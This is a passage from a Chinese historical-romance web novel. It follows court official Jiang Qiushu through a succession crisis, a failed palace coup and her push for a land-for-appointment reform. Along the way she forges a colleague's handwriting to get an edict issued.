各府恩荫名额有限,可对于朝廷而言,每年确实没有定数的,若是能彻底的定下恩荫的数额? 姜秋姝眼神亮了几分,也没去管李长宁直接在书册上书写起来。 “我母后的意思,你听懂了多少?”李长宁侧身看着她。 “娘娘所图甚多。”姜秋姝没有抬头。 是啊!她以为自己想要的多了,没想到母后亦是。 “母后愿我嫁得良人,做个千娇万宠的公主,可我偏不愿意。”却又不能与任何人说,只撒泼胡闹般,在父皇和母后面前得了越来越多的好处。 大周如她这般有军权,且能入朝的公主,百年来没有。 李长宁只是今日听了圣后的话,感触良多,这才来找了姜秋姝。 姜秋姝整理好东西,放下笔,圣后强势,却希望有个乖巧的女儿,李长宁便做了乖巧的女儿,收拢了爪子和獠牙。 “公主做自己便好了,如今也正是时候了。”姜秋姝提醒道。 一直这般装下去也不是事儿。 ~~ 早朝时,姜秋姝刚要将自己所写的东西呈给圣后,内侍监忽然匆匆而来,朝着圣后密语,姜秋姝第一次瞧见圣后神色有这般大的变动。 心头升起不好之色。 早朝比平时早散了不少,朝臣议论纷纷,甚至有的向内侍打听,皆无所获,姜秋姝看着朝上几位皇子公主没了踪影,约莫猜到了什么。 出了宫门后不久,朝天钟被敲了整整九下。 九九归一,乃天下之元。 所以圣人驾崩了。 姜秋姝伫立在宫门口,朝着天际的方向拱手施礼。 圣人励精图治,深受百姓爱戴,是一代明君。 等姜秋姝回府,丧迅几乎传遍了大街小巷,百姓们哭声沸扬,门前皆挂上了白布,白灯笼。 此后三年里禁喜事,作素服,以告慰先帝之灵。 姜秋姝坐在院子里的石桌上,原是在写着字,心里的思绪却一下子断了,圣人驾崩,怕会越发艰难。 这夜,她睡得并不安稳,几乎只睡了两个时辰左右。 早朝时,圣后宣了圣旨,向天下宣告了圣人的死讯,原大臣还沉浸在悲伤中,等都平和下来时,魏御史连忙起身道:“如今储君未立,天下臣民难以安心,还请三皇子登基。” 几乎所有人都晓得,皇位必定会落到三皇子头上,三皇子本人眼眶通红,沉浸在先帝仙去的悲伤中,听到请他登基,喜悦骤升,两股情绪在他身体里,叫他难以承受,甚至有些晕眩,好在四皇子扶住了他。 “多谢四弟。” 圣后朝向了底下的三皇子问道:“你觉得如何?” “儿臣一切听从母后的,只也怕如魏大人所言,不能叫天下安定。” 圣后不喜不怒的嗯了声。 也让人准备新帝的登基仪式,看似安宁的朝堂,只一人藏住了阴狠的目光。 圣人仙去,百官也需得守丧,加上三皇子登基仪式,这几日少进米水,姜秋姝起身时,腿脚都有些撑不住,好在有人扶了下她。 “没事儿吧!”裴珉紧张的看了眼她。 姜秋姝没回他,几乎将他当成了透明儿,裴珉也不气馁,只是想要向她靠近。 一月后,新帝登基,天下几乎变了个模样,姜秋姝抬头看见上首坐着的三皇子,如今的建成帝,有些不习惯。 建成帝登基后,大皇子二皇子,四皇子分别被封为了康王,恪王,以及福王,李长宁也被晋为长公主。 任谁都看得出,建成帝对福王颇为偏爱,就连封号都比其他几位好,只是二皇子的恪?是要他恪尽职守的意思? 姜秋姝来不及理会那么多,只是在她站了出来后,再次禀明土地一事,朝臣与最初一般无二,皆是反对的。 她只静静看着建成帝的反应,建成帝神色似乎一直在观察着底下人的反应。 以往李长宁便说过,三皇子耳根子软,只是她根本就未曾与三皇子见过几面,如今看来,果真。 建成帝道:“此事不可,今先帝丧仪,加之朕登基便耗费不少银两,何须费闲钱来购置土地。且本是世家物,朕也不好强夺。姜大人还是以要事为重,莫提这些。” 姜秋姝捏着袖子,回了队伍中,朝臣皆暗自笑着,如今圣后未在朝上,一向被捧得高高的姜侍郎也是落了地。 所以女子当什么官,笑话罢了。 也是此时有人道,姜秋姝本是因陪伴圣后才入得朝,圣后在后宫颐养天年,姜秋姝亦该去圣后身侧伺候,入内宫做个女官,而非站在朝堂上,与一群男人为伍,损了闺名。 一时间落井下石的众多。 树倒猢狲散,说的便是如此! “咋样,姜侍郎该离开,本宫也该了!”李长宁瞪了众大臣好些眼,“赶走了姜侍郎,下一个是不是该轮到本宫了!本宫可是先帝亲允的,你们是要不敬先帝!” 也是没想到李长宁竟然站了出来。 李长宁没了以往的蛮横,在朝堂中已经站了好些时日,以至于众人几乎都快要忽视了她。 李长宁这么一闹,群起攻讦姜秋姝的话倒是少了,只是朝堂之上,姜秋姝多次想要说话,皆被朝臣给抢先,直到下朝,姜秋姝再也没有开口的机会。 尤其是定国公当从请立裴珉为世子,一下子吸引了朝堂上所有人的注意力。 姜秋姝都有些惊讶,原以为会是裴承,或者裴珉绝不会接受,毕竟他不是嫡出,本身也从未对那个位置有过想法。 建成帝当场落下了圣旨,裴承早就听说了,可他始终比不过五叔,也不想去争。 今日事少,姜秋姝觉得比起往常要疲惫些,她坐在马车上揉了揉眉心。 建成帝登基,日后她要行事便越发的困难了。 ~~ 西街,一条比较偏僻的巷子里,裴秋月急匆匆的等着裴承,等看见他身影,她直接站起来抓住他的手,“你是傻的吗?任由太公将位置让给五叔!” 自裴珉将她和赵士远赶出府,裴秋月便恨上了裴珉,尤其希望裴承能够继承国公府,到时候也好接他们回去。 从国公府出来,她虽然带了银钱,看平日里皆是大手大脚,没个顾忌的,不过几月手里所剩无几。 裴承虽然时常接济,可她依旧想要回到富贵窝里,而不是和赵士远这个没用的男子绑在一起。 “五叔德才兼备,比我强。”裴承再不满,也不可能违背了定国公的意思,只认下了,况且他还年轻,未必不能有更好的未来。 “去抢回来,阿兄!”裴秋月不甘心,“这位置是阿耶的,你该替阿耶守好。” 幼时他常从太夫人嘴里听到这话,心里对那位置确实有念头,但更多的还是更加的努力,让太公能够看见他,将位置给他。 非他能力不够,只是比不过五叔罢了。 他自幼跟在五叔身边,太公这般做,他认。 “日后,你与赵士远好好的过,我会时常过来看你,可是若想要再回国公府是不能的。当然你要是想和离,也可和我说。”裴承只留了这么句,就要离开。 晓得她阿兄如今是半分志气都没有,裴秋月也没有了任何的打算,靠在门,慢慢滑落,最后埋头大哭。 赵士远从屋子外面走来,想要扶她起来,结果被裴秋月推得老远,“废物!” 赵士远没有反驳,他们这对怨侣,一个爱美色才气,一个爱权势,费尽心机在一起,便要纠缠一辈子。 也算是他积的最后一点儿福。 花园里,圣后正朝着池塘撒着鱼食儿,听着一侧的内侍监禀告着朝堂之事,瞧着她面色不变,可离她身边的人,都是晓得她是怒了。 正好此时建成帝来向她请安。 圣后放下鱼食儿,问道:“听闻你驳回了姜侍郎的话?” 建成帝以往便是有些惧怕圣后的,即便她是他的生母,他当了皇帝,有了至高无上的权利,依旧未能更改其习性。 “母后,儿臣以为不妥,世家权势滔天,儿臣若是轻易下了令,他们必定会给儿臣施压。” “可还记得我与你说的?”圣后眉峰一扫,威压叫这个刚登上至尊之位的新帝,声音都小了。 “记得可是”。 圣后抬了抬手,建成帝噤了声。 “按我说的做!”圣后开了口,许久都未曾得到过建成帝的话。 圣后临朝两年多,他早就习惯听命于圣后,可如今他是皇帝,普天之下没人能够违背他。 他才是主宰,建成帝这般想着,可气依旧是虚的。 “母后息怒,儿臣都是为了大周好。”建成帝低着头,等待着圣后的大怒,没想到只听见头顶的轻笑。 “你走吧!” 建成帝舒了口气,连忙离开了,可刚出了院子一脚踹在了身侧的内侍上,哪有他这般做皇帝的! 做事儿还得听太后的吩咐! 圣后继续喂着鱼食,鱼儿早就吃撑了,只有零星的鱼儿在争夺着。 人都说年纪大了,该颐养天年,可她却以及闲不下来,也忘不了权座的滋味。 第59章 第59章早朝时,姜秋姝锲而…… 早朝时,姜秋姝锲而不舍的再次上折,言明土地一事,建成帝未给任何反应,甚至还斥责了姜秋姝番。 瞧着姜秋姝灰溜溜的站回了位置,朝臣落井下石的笑了笑。 此事有大臣上奏书,“陛下新登基,还是应该以子嗣为重。臣请陛下广令天下,充实后宫。” 建成帝以往做皇子时,身边虽然有伺候的人,可到底都是些没名没分的姬妾,即便如今给了位分也不过是最末等。 “先帝丧期才多久,左大人便撺掇着陛下选秀!是要至陛下于不孝!”魏御史连忙站了出来,将左大人的话堵了回去。 先帝的后宫,他们这些朝臣便极少弄进去过自己的人,如今新帝刚登基,这个机会朝臣都在等着,若是后宫中有了自己的人,岂不是如鱼得水。 有一位大人发了话,其他朝臣亦是跃跃欲试,甚至抨击起魏御史来,“陛下身边需得人伺候,天子守孝,多以月代年,如今先准备下去,也免得后面慌了神。” 建成帝先是不语,而后在众多大臣的劝导下,‘勉为其难’的应下了。 早朝先是从民生大计,逐渐朝着建成帝的后宫去,议论下来没完没了,姜秋姝听着,可好多事其实听着什么意思都没有。 下了朝,建成帝处理了会儿奏章,看的没意思便丢到了一侧,这时福王瞧瞧地走到了他身边,“三哥要选秀了?” “这后宫大抵会被许多朝臣扔进来些,有才无貌之人,到时候就苦了三哥了!”福王认真道。 建成帝突然凑了过去,美色何人不爱,他如今享至尊之位,自然也需得姝色来伺候,若是真的来了些无颜之人,还不如不选,“四弟的意思是?” “臣弟必定给您办妥了,您放心,”福王拍了拍胸膛道,“世间美人何处寻,臣弟最为清楚。” ~~ 院子里的桃树长出了花苞,虽然还未开,已经有了好景色,姜秋姝坐在院子里,没了往日的忙碌。 圣后原先器重她,朝臣再不喜也得给她几分薄面,如今建成帝不喜女子如朝堂,吏部便团结一致,给了她闲活,似乎想要将她所排挤在外。 姜秋姝给院中花草浇着水。 “小满。”熟悉的声音让姜秋姝头也不回的往房间里走。 可刚进门,人便从窗子里跳了进来,姜秋姝蹙眉又有些不满,“裴大人是不晓得走正路了。” 又是爬墙,又是翻窗的,明日她便让人在墙上钉些碎钉子。 “这是我刚买的点心,你尝尝,绝对比姓薛的买的好吃。”裴珉将东西放在桌上。 薛家倒是会自保,建成帝上位后,与她也没了来往,不过一个薛诰至于让他记这般的久! “不必,裴大人来此何事。”姜秋姝抿了口茶。 “想你了。” 噗嗤,如此直白的话,极少从裴珉嘴里听到,姜秋姝被呛的剧烈咳嗽起来,那人连忙绕到身后替她拍着背。 姜秋姝缓和了些,“别说这般恶心的话。” 裴珉住了嘴,其实他有些担心她,如今的朝堂早就不是圣后所在的了,她若是不收敛,怕不好过。 “你尝尝。”裴珉解开了点心油纸袋,递给了她。 见她不收,便放在了她面前的碟子里。 “时下想往陛下后宫塞人不在少数。”裴珉捡了姜秋姝想听的话说。 姜秋姝嗯了声,指尖摩挲着茶杯,撑着下颚,放空的思索着什么,也不去管裴珉,只是在梳理着脑子里的那条线。 忽然肩侧有了温度,连带着她整个人都被裴珉拥入怀中,很短暂,姜秋姝根本来不及反应。 当她将要挥手,给他一巴掌时,裴珉放软了声音,“好在我活着,好在还能瞧见你。” 姜秋姝收回了手,看见了他眼里似乎蒙起水雾,偏过头去。 裴珉唇角温和,在心爱女子面前示弱,没想到有这般大的作用。 “当我濒临死亡时,脑中一直都是你的模样,一遍遍回忆与你在一起,让人沉溺,也晓得自己的错处。我不该将你变成和我一般的人。模糊中你的温度,给了我希望,我挣扎着醒来,想要弥补。”裴珉声音放软了不少。 “你没事儿便离开吧!”姜秋姝不回他,她心里平静了很多,可时而会起一些捉摸不透的涟漪。 大抵是见过裴珉快要死了的模样。 “你与我回定国公府吧!如今旁人不会为难你,府中人只会敬重你。我已经好好惩戒过他们了。”如今几房的人皆要仰仗他的鼻息,太夫人也时常不出院子,他努力将定国公府握在手中。 无人敢说那些难听的话,侮辱她。 “回不去了!” 姜秋姝走到门口,打开门,“你走吧!” 裴珉缓步走到外边,“好,我明日再来瞧你。” 姜秋姝直接合上门,也不晓得听没听到他的话。 ~~ 又两月,朝中操办起来选秀一事,建成帝更是大手一挥给了笔钱财,让底下的人好好做。 隔日又选了一批匠工,似乎要重新修建宫殿。 此事,圣后没有说话,也算是由了他去。 建成帝做了几月的皇帝,权势滔天的滋味,叫人乐不思蜀,以往即便身为皇家人,可依旧要听圣人圣后的,如今才叫人舒畅。 他坐在龙椅上,抿着酒最中央舞池里舞姬腰肢细软,肌肤白皙,相貌虽说一般,可眼光流连间的媚色,让他喉结动了动。 直接下了龙椅,拉起舞姬往屋子里去。 圣后在外听着里面的靡靡之音,眉心紧蹙。 “陛下上了朝,休息一下也无伤大雅。”内侍监连忙解释道。 圣后点了点头,并向周边的人道,“无需告诉陛下,我来过。” “是。” 圣后往后宫走,内侍监还在说着好话,“陛下登基以来,政事还算勤勉,私下即便是放纵了些也无妨,毕竟陛下还无子嗣。” “喔!你的意思是先帝丧期未过,宫中便要弄出个孩子来?”圣后声慢,可一字一句让内侍监连忙俯首。 翌日早朝时,建成帝比起往日要晚上一刻钟,他不免有些心虚,可见朝臣并无任何的反应,便又忍不住哂笑。 果真,帝王至高无上,旁人不敢置喙。 接下来的日子里,建成帝来早朝的日子比起平日越来越晚,朝臣也有了些闲言。 “陛下,先帝再世勤勉,从未忽视过政务。你一日比一日迟,昨日更是直接散了朝,如此下去,恐叫天下人误以为您当不起大任。”魏御史直言不讳。 “放肆!”这样的话却让建成帝怒火中烧,他最不愿旁人将他和先帝比,直接命人将魏御史拖出去打了二十大板。 不少朝臣皆站了出来,替魏御史求情,建成帝越发恼怒,根本不理会大臣的求情,直接命了金吾卫动手。 随着棍子一下下落下,群臣皆没了话,建成帝心里舒畅了。 父皇还说世家威势大,如今还不是得听他的! 建成帝坐在椅子上,看着下面鸦雀无声,又想起了昨日那个舞姬娇软的身子,直接命人喊了退朝便离开了。 姜秋姝看着乱做一团的朝堂,权势当真可怕,建成帝以往寡言,可也不是这般暴戾之人。 下了朝,建成帝刚要抱着舞姬滚做一团,便听人禀告福王来了,他松开了舞姬,连忙让人去请福王。 “陛下。”福王行了礼。 “不必客气。”建成帝拉着福王往上走,边走还拍着他的手,“果真如你所言,只有朕坚决,那些老臣就必须听从朕的。” 以往总听父皇说朝臣难对付,如今看来是父皇太过软弱了。 “臣只愿皇兄开怀便好。”父皇拱手,不敢托大。 打了魏御史此事不大也不小,圣人命人做的,天子令旁人不敢从,可魏御史性子刚直,在天下学子心中是一股清流。 又一日,建成帝混沌中抱着美姬,又内侍提醒上朝,建成帝不慌不忙的起身,甚至临走前亲了口女子。 “陛下。”女子声音魅惑,让人简直不想顾忌政事。 尤其是勾着他腰带的那只小手,轻柔无力,建成帝火气一下子上来了,抱着女子直接入了帐子。 足足过了三刻钟,外边儿内侍急急忙忙的禀告,建成帝不耐的吼了来人。 “陛下,魏御史撞柱了,血流了好大一滩。” 建成帝连忙起身,心里此时也有些慌,他不过是晚去了会儿,母后都未说他,一个魏御史使劲儿纠缠,如今还闹出人命! 建成帝看着太极殿里的鲜血,吓了跳,连忙问了问御医,“情况如何?” “止了血,受了外伤,无碍。” 这样的话在建成帝耳中轻飘飘的,他甚至都有些恼怒,小事而已,竟然闹到了如今的地步。 圣后此时终于出了面,斥责的建成帝频频垂首,可他好歹是帝王,在朝臣面前丢了脸面,也怨上了圣后。 只是接下来,好些日子,建成帝比终于在政事上勤勉了些。 ~~ 可过了不久又疏忽了些,每日都会来,只是迟了些,甚至直接让内侍宣布退朝。 朝臣没有旁的反应,朝堂似乎一如既往,可姜秋姝晓得,建成帝耽于玩乐,朝臣分了权,帝王之位迟早是个空壳子。 六月后,建成帝寿诞,一批批宫人进进出出忙碌着,圣后瞧见这壮丽的情景,眉头蹙了起来。 “听闻陛下还请了宫外的乐师,和清月阁的舞姬。”内侍监将打听到的事一一给圣后讲了。 只见圣后越沉默,眉宇间的怒火越重。 陛下寿诞庆祝一番无妨,可如今先帝丧期未出,便要大费周章的搞这么一遭,岂不是让天下人斥责建成帝的不孝?! 内侍监问道:“可派人劝劝陛下。” “不用!”圣后抬了抬手。 前不久建成帝撤了薛明义的职位,薛家向她靠拢,此事便是在打她的脸。 建成帝寿诞这日,姜秋姝刚进宫殿,便能瞧见与别处的很大的不同,这大殿里的柱子怕是都涂了金漆,金光闪闪的。 就连屋檐下的瑞兽都像是纯金打造的。 先帝历来崇尚节俭,建成帝登基以来,便大肆选妃,又不晓得何时造了这么座金屋。 劳民伤财。 姜秋姝眉头拧了拧,被内侍带到了位置上。 殿内歌舞升平,尤其是台上最中央的女子,样貌绝色,叫人耳目一新,这绝对不是宫中的舞姬! 建成帝喝着酒,皇亲皆到了,只除开了圣后。 他们说着祝贺的词,将建成帝捧得高高的,一时间建成帝喝了不少的酒。 宴席过半,圣后才姗姗来迟,只是并无理会建成帝,坐在了左侧。 圣后看着殿内舞姬旋转翩翩,娇媚的模样,连酒水都未曾碰,“陛下觉得这些很好?” “母后不喜欢?”建成帝只是询问,却也没有让人撤下这场舞。 圣后收回了目光,屏了屏心神,才抿了口茶水。 乌烟瘴气。 忽然还在台上的女子腾空起,利剑散着寒光,直直的朝着最上首的建成帝,呼喊护驾者众多,金吾卫也在此刻行动了起来,建成帝瘫软在龙椅上,看着那剑朝着自己刺来时,鬼使神差的起身往左侧跑去。 姜秋姝见势不好,刚要朝着圣后的位置冲去,却被裴珉拉住牢牢的护在身后。 圣后余光瞥向了跑向自己的建成帝,眉宇间是勃然大怒,可就在那剑即将要刺向她的时候,身前有个身影将她护住,剑刺入肌肤的声音,圣后听的清楚。 “平乐!”圣后连忙扶住李长宁。 此时原本安坐在底下的恪王,忽然从袖口中抽出刀来,殿外也冲进来不少的侍卫,将殿内团团包围住。 “你要造反!”建成帝指着恪王,看着锋利的刀,声音颤抖着。 “是!”恪王讥讽道,“这窝囊日子,本王过够了!天下该是有才能着继位,你靠女人,若非圣后受先帝宠爱,怎会让你这蠢货登基!瞧瞧才坐了几月的皇帝,便荒淫无度,朝全天下搜罗美人,你配吗!” 恪王一步步朝着建成帝的方向去,他的人也逐渐缩小了范围,将整个宴席全部包围了起来。 他才不要做什么恪王,要做天底下至高无上的皇。 举起手,匕首透着寒光,建成帝吓得不敢动。 “住手!这样谋夺天下,千年百世后必定受人诟病,你放了陛下,让他签下退位诏书。”姜秋姝连忙道。 恪王看了眼姜秋姝,“本王有那么蠢吗?” 说着将匕首放在了建成帝脖子上,又掏出退位诏书,让他签。 此时签了,才是彻底的完了!建成帝也不傻,可若是不签,早晚都要完。 “母后。”建成帝忽然看了眼圣后。 圣后抱着李长宁,闭了闭眸子,没去理会,方才建成帝便是有故意拿她当挡箭牌,此时在场人都看得清。 企图弑母的帝王,怎可能成为一国君主! 建成帝看着刀离他越来越近,拿起笔,颤颤巍巍,原是高高在上的陛下,此刻狼狈的模样,被不少朝臣都入了眼。 就在墨刚染在诏书上,一只利箭从空中射来,正中恪王的眉心,建成帝劫后余生长舒了口气。 金吾卫从外边儿冲了进来,立刻制住了恪王的人。 建成帝见局势稳定,几乎瘫软的靠在了龙椅上,可接下来圣后的话,让他胆寒。 “陛下有病在身,来人将陛下扶下去。” 建成帝没明白圣后的意思,还在挣扎着,可周围的朝臣却一个都未动,甚至朝着圣后道:“娘娘英明。” 毕竟建成帝所做的一切,他们都看在眼里,竟然敢让圣后替他挡剑! 建成帝因病,圣后再次执掌朝堂,不过短短三日便查出了,此事虽然因恪王而祸起,可实则有福王在暗中挑拨。 甚至还时常带着建成帝觅美,引得建成帝荒废了朝堂。 圣后直接下了令,夺了福王的位,将其贬为庶人。 第60章 第60章谁都没想到,福…… 谁都没想到,福王分明是建成帝一派的,竟然会谋划出这样的事儿。 “母后,儿臣不信,四弟待儿臣一向恭敬!”建成帝看着圣后,“会不会是误会?” 圣后不想和他多言,他企图拿她挡剑一事,彻底伤了她的心。 只是命人将福王给带了上来。 福王被人拖着,只穿着单薄的里衣,上面脏污一片,他发丝凌乱,跪在地上便开始求情。 “母后,皇兄,儿臣是被陷害的。儿臣与三哥多年的交情,怎会做出这样的事来!”他涕泗横流,说着委屈。 圣后轻飘飘看了眼,坐到了最上面的位置上,“前几年的那场秋狩,是你做的吧!” 马儿被下了药发狂,怎会那般恰巧的撞上了恪王也就是二皇子的长子。 圣后也才查到这个看似乖巧的福王,竟然藏着这么多的心思。 福王身子抖了抖,没了方才的惊惧,圣后既然这样对他,便定是查清了他所做的一切。他由跪而转成瘫坐在地上。 “你恨我?”圣后又问,“为何?” 福王生母是她身边之人,已经逝去,见他算老实,也亲近她的皇儿,平日也时常问候。 福王沉默不语,也没有像以往那般喊冤。 恪王愤慨,他难道不嘛?凭何都是父皇的儿子,他们却只能老老实实,只因父皇宠爱圣后,可若是宠爱圣后,又为何要和他母妃生下他。 母妃说起来是后宫嫔妃,可在圣后面前就犹如奴才般,他自幼便瞧见圣后父皇一家四口其乐融融,她母妃只能抱着他在一旁伺候着。 他想不通,想了多年都不甘心。 尤其是后来他发现,只要自己巴结着圣后身边的人,父皇才能给他几分好脸色,他这样跟摇尾乞怜的犬类有何区别! 福王并不想说这些,“是我做的!” 原本还想要替他求情的建成帝愣住了,“为何?” 福王还是不答,圣后命人将他拖了出去,背叛者,无论何种原因,都不会原谅。 “母后!是儿臣错信了小人,禁不住诱惑才荒废了朝事,儿臣日后必定勤勉,这就召集大臣,商议此次的事。”建成帝想要出去,立刻有内侍将他拦住。 他转身疑惑的看着圣后,“为何?” “陛下病了,日后就好好养病,朝事自有本宫代劳。”圣后走出门,挥了挥手让人将房门关上。 建成帝拼命敲打着窗户,可无人应答,“母后,你这样会让天下人诟病的,儿臣才是帝王!” 圣后回了宫殿,李长宁的伤不重,只是血流的有些多,已经昏迷许久还未醒,听到床榻上的呻吟,圣后赶紧过去。 “母后?”李长宁捂住胸口。 “快休息。”圣后神色温柔,替她掩了掩被子。 “母后您没事儿吧!”李长宁神色焦急的看着圣后,又环顾了下四周,“三哥呢?” 听她提起建成帝,圣后眸中暗流闪过,很快又恢复平静,“都好。” “母后,我晓得三哥行事不当,儿臣也并非为他求情,三哥他并不适合登上帝位。”李长宁垂首掩住眼里的神采。 “所以,你觉得何人适合?” 如今几位皇子中,只剩下了大皇子,可惜大皇子非她亲生,她无论如何也不可能将他捧上帝位。 “母后。” 李长宁看着圣后,不是在叫她,而是…… 圣后唇角抿了抿,落在李长宁身上的眸光深了不少,“你先好好休息,此事容后再议。” “我将薛凛喊来照顾你。” 李长宁脸色立刻变了,甚至有些不乐意,圣后却笑了起来,“你出了事儿,薛凛可是着急的很。” “儿臣与他性子不合。” “可本宫瞧着,他对你有情谊。” 李长宁才不管什么情意不情意的,世间男子多,他薛凛算得了什么。 薛凛进来时,李长宁半靠在栏杆上看着书籍,薛凛连忙放下药,“殿下好好休息,何必劳神。” 李长宁将书放在床头,“薛凛,寻个时间,咱们和离吧!” 薛凛身体麻木,不可思议的看着她,“为何?” “腻味。”薛凛原先便有未婚妻,她也不是没瞧见两人相处时羞红的少年情谊,她和薛凛虽然成了婚,可李长宁却并不觉得他们是夫妻。 之后也不管薛凛是何反应,直接让人将他赶了出去。 夜间,姜秋姝坐在书案前,她神采奕奕,桌上的蜡烛换了好几只,她都依旧沉寂其中,丝毫没有注意到。 月上半空,她伸了下懒腰,去了床榻,心满意足的睡着了。 隔日上朝,朝堂之上没了建成帝的身影,坐着的是圣后,朝臣并没有任何反应,就连一向守旧的魏御史都未开口。 一个昏庸的帝王,还是一个勤政且治国有方的太后,好似没那么难选。 “姜爱卿站那么远作甚?来本宫身边来。”圣后指了指姜秋姝以往的位置,朝臣一时间也变得缄默了,看来备受冷落的姜秋姝,如今怕又得如日中天。 “姜侍郎乃文官,站在御阶下不妥。”魏御史立刻站了出来。 “也无甚不妥,也不是没站过。”圣后正色道。 确实,圣后为姜秋姝有过太多的破例,此也不过是小事儿,魏御史想要说话,可最终只是嗫喏了下唇瓣。 早朝将要散,姜秋姝呈上了一封奏折,朝臣噤了声,全神贯注的看着姜秋姝的动作,尤其是在看见圣后脸上有了笑意,他们有了种不好的预感。 直到圣后将这奏折拿给了内侍监,叫朝中大臣一一查看。 他们神色各异,有的一脸青紫,有的却有了几分悦色,尤其是官位越低的朝臣。 大周恩荫盛行,尤其是官位越高,自家人在朝堂越多,姜秋姝的奏折便是以地换官,同时约束了各家恩荫的人数。 换句话说,一府只得一个恩荫名额,但只要给出的土地越多,换取的恩荫越多,只不可超过三名,且都在六品以下。 此事官位越小的朝臣越是心动,他们本身就没有恩荫名额,而权贵人家减小了恩荫名额,只能用土地去换。 此举一时间看法诸多,圣后却是将此事交给了三省商议,明日再给她个答复。 朝臣怔楞,当想要禀告事的时候,龙椅上的圣后已经没了踪迹。 早知道,还不如让建成帝掌权。 姜秋姝立在原地,周遭看她的大臣,几乎皆是穷凶极恶的模样,当然一些官位低的官员倒是想要和她结交,可又看在其他官员的神态下,不敢轻举妄动。 那么多双眼睛,盯着她全是愤恨的模样,姜秋姝抬头看了过去,丝毫不畏惧,就在有好几个大臣想要走过来时,裴珉连忙拉着她出了太极宫。 “你真是疯了!”此事可是将朝堂大部分官员都得罪个遍。 上回以钱赎地,已经能让朝臣群起而攻之,此事若是圣后定下,朝臣必定会对她恨之入骨! “有三省在,此事绝对不会成。”裴珉拉着她的手,“我晓得你想要为百姓做实事儿,慢慢来,如此的大动作,只会陷自己于万劫不复之地。” “又如何?”姜秋姝抬眸,眸中亮晶晶的,没有畏惧,全是对此事的喜色。 她是晓得的,清醒的瞧着自己往下坠,裴珉捂住胸口,看着她无畏又坦然的模样,却有些心疼。 他劝了她很多次,可她都未曾怕过,所以她其实做好了一切的准备。 哪怕死? 到了早朝时,三省均表示此事不成,圣后却霎时勃然大怒,“此事利国利民,各位只看着眼前利益,大周该以民为重,百姓富足才是国泰民安。” 朝臣皆跪下,圣后却直接已雷霆之势,命令三省下诏书,几位大人全部跪了下来,并不是说话,一时间有些僵持。 三省不写诏书,这是当朝第一回发生这样的事,可几位大人也晓得若是他们写了必定会被世家攻讦。 他们只能沉默。 “娘娘,可否给几位大人考虑的时间?” “娘娘,此事还是太急了,从长计议啊!” 圣后也不想落个暴戾执政的名声,薛明义特意换了话题,朝堂之上,才将此事给掩了过去。 姜秋姝坐着马车回府,一遍遍提醒自己自己莫急,若是能那般简单的便定下此事,世家与皇权争斗,也不至于持续这么多年。 马车摇摇晃晃往前走,忽然一阵天旋地转,姜秋姝勉力支撑着马车,稳定身形,可忽然车架断裂,马车朝前撞去,姜秋姝身体也朝着向前。 车夫跳下去前,喊了声。 “砰”的一下,她脑子晕眩了很久,耳侧是一声声急切的呼声。 裴珉连忙将她给扶了起来,她额头处留下了血,裴珉连忙用手帕给她捂住。 然后将她带到了自己的马车上,送她回府,一路上他脸色黑如墨。 等包扎好后,裴珉一口气闷在心里,却没有说出责怪的话。 他只是心疼的看着她额前的伤。 姜秋姝还是第一次未曾听见他用责备的语气教训她,此事不过是朝中大臣想要给她个教训,让她莫要插手。 “裴大人是三省的,这道圣旨觉得可下不?”姜秋姝问道。 “不可!”裴珉只是不想她成为众矢之的。 姜秋姝点了点头,无人敢写圣旨,便是裴珉也不会,做了便是彻底站在了世家的对立面。 她头上的疼倒是没那么重,只是看着裴珉的目光由着隐隐的歉疚,裴珉是中书令管圣旨的起草。 “裴大人,多谢。” 她要对不起他了。 新政整整推拒了一月,甚至三省的大人几乎告病,不来上朝,圣后面不改的命太医去了府邸,朝臣见圣后越来越阴狠的脸色,皆不敢做这出头鸟。 太极宫内殿里,圣后抬头便瞧见了李长宁和姜秋姝的身影。 “何事?”圣后眸光在两人身上打着转儿,却又平静的收回了眸子。 “臣有法可以命三省下了这封诏书。”姜秋姝拱手道。 圣后目带几分疑惑,姜秋姝让人给她准备了笔墨,她执起笔脑子里,竟然忆起最初时裴珉教她练字的时候。 他说练字最不该的是模仿,该有自己的字形。 姜秋姝恍惚了瞬,又继续凝神写着。 等写完后,她将纸呈送给了圣后,圣后面带吃惊,裴珉多负责圣旨起草,所以他的字迹她识得。 如今纸上的字迹,与裴珉的大致无二! “娘娘只说裴珉已经拟定了圣旨,他们三省不敢违抗娘娘,只是缺个开头的人。” 圣后沉吟了会儿,立刻让人取来了圣旨,姜秋姝坐在椅子上一笔一划的书写着,等差不多写完后,圣后立刻召集了三省之人。 “娘娘,此事是我所为,跟裴珉无关,”姜秋姝道,“事发后,臣想请娘娘将臣推出去。” 圣后看了她好几眼,最后点了头。 这圣旨圣后硬下自然是行的,可就是和世家彻底撕破了脸,没必要。 如今有人站了出来,彻底解了圣后的困惑。 三省其余人到了,见中书令起草了圣旨,皆面面相顾,然后应下了此事。 如今有人做了出头鸟,他们便顺水推舟。 早朝时,这封诏令,让所有人的目光都聚集到了裴珉身上,圣旨已下,绝无更改的可能。 裴珉捏紧手,却始终不曾抬头去瞧最上面的人,这封有他笔迹的圣旨,让他一下子便想到了姜秋姝。 他的字帖只给了她一人,他也只教过她。 这把刀,从那个时候便埋下了。 裴珉朝着圣后开了口,“此事有利天下,三省皆听命娘娘。” 朝臣皆目光似寒冰朝着裴珉射了过来。 姜秋姝没想到裴珉会开口,他可以当场说出来非他的字迹,可他还是将一切都揽了过来! 姜秋姝眸光难掩震惊,原以为他们会就此成了仇敌,他便是指着她大骂她,也好过如今。 今日早朝比起以往热闹,圣后离开后,世家人皆指着裴珉的鼻子骂了起来,这是她上朝这么久,头一会见他们失了理智,如同野狗撕咬着人。 姜秋姝立刻往下,冲了进去,想要说话,可她的手被裴珉给拉住,然后和她一同跑出了太极殿。 姜秋姝侧目看着他,风的吹起衣袍,始终未曾从他身上瞧见任何的恼怒。 等上了马车,姜秋姝不开口,坐到了他另一侧,窗外从买纸鸢的店,绕过买粮食的店,然后是首饰店。 车外人声鼎沸的叫卖声。 马车里是寂静。 姜秋姝收回目光,却不晓得怎么开口,裴珉也只是将她送回了府。【你现在阅读的是 】 【正文完】 第61章 第61章新…… 新政实行下去,百姓欢呼,一时间有不少人拥护起来圣后,甚至言当今陛下行事荒谬,不堪为人君。 八月八,本是漆黑的夜,忽然天光大盛了数刻,洛阳最西的一侧,砰的一声巨响,引得人人称奇,不少人前往去看。 九霄落灵石, 凤凰安帝星。 百朝皆臣服, 山河万永固。 